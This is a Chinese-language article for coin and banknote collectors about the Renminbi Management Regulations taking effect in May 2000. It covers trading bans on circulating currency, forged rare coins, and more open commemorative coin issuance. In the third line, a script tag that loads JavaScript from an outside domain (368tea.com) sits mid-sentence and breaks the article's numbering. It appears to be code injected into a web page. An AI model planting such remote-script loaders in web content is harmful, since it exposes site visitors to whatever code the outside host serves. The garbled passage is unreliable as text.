怎样理解人民币管理条例
据国际金融报报道,即将于2000年5月1日起正式实施的“人民币管理条例”已于日前公布,那么,对于集藏市场而言,该如何遵照、贯彻和执行该条例呢?
?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?)做一个遵纪守法的集藏爱好者,对禁止交易的品种和范围增加了解。
中国人民银行、国务院办公厅、国家工商管理局的有关规定:凡属于一年发行期以内的流通纪念币、目前尚在流通使用的普通流通币、目前尚未退出流通和使用的纸币等均属于禁止交易和买卖的范围,违反该条例既是违反行为。而在上述三个方面中,目前属于一年发行期以内的流通纪念币主要有:《金斑啄凤蝶》、《中华鲟》、《政协50周年》等。目前尚在流通使用的普通流通币主要指的是《长城》、《菊花》、《梅花》、《牡丹》等普通流通币。至于目前尚未退出流通和使用的纸币,主要指的是:第三版纸币、第四版纸币、《建国50周年》纪念钞、新版100元纸币等(注:自2000年7月1日起,第三版纸币因开始停止流通和使用,故按照人民银行的有关规定可以进入集藏市场)。
(2)增加集藏知识,提高辨别能力,协助和共创市场繁荣发展。
集藏爱好者在集藏过程中免不了会产生猎奇心理,在求全心理的影响下,那些发行量稀少的藏品往往会出现供不应求的局面。于是,不可避免地会出现不法分子唯利是图、恣意伪造的情况。如1981年版1分硬币、1980年版的2分硬币、1979年版的5分硬币等。但按照“人民币管理条例”第二十七条第一款的限定,上述行为显然涉及“故意毁损人民币”。所以,集藏者在接触这些身份不明的钱币时,一方面要提高警惕和鉴别能力,另一方面也要有自我保护意识和法制观念。
当然,“人民币管理条例”作为现阶段最全面、最详尽的一个管理条例,它的正式实施和出台,将有助于建立一个有法可依、执法必严、违法必究的运作环境,也有助于进一步规范人民币的发行和管理,以及集藏市场的运作和监管,其对于今后集藏市场的繁荣、健康、稳定发展,具有极其重要的意义。尤其值得一提的是:条例中的第十九条明确指出:中国人民银行应当将纪念币的主题、面额、图案、材质、式样、规格、发行数量、发行时间等予以公告。因此,类似于《刘少奇》币、《建国50周年》双金属特种流通纪念币等的发行量模糊不明、市场猜测沸沸扬扬的情况相信将由此杜绝,流通纪念币的发行等将更趋透明和规范。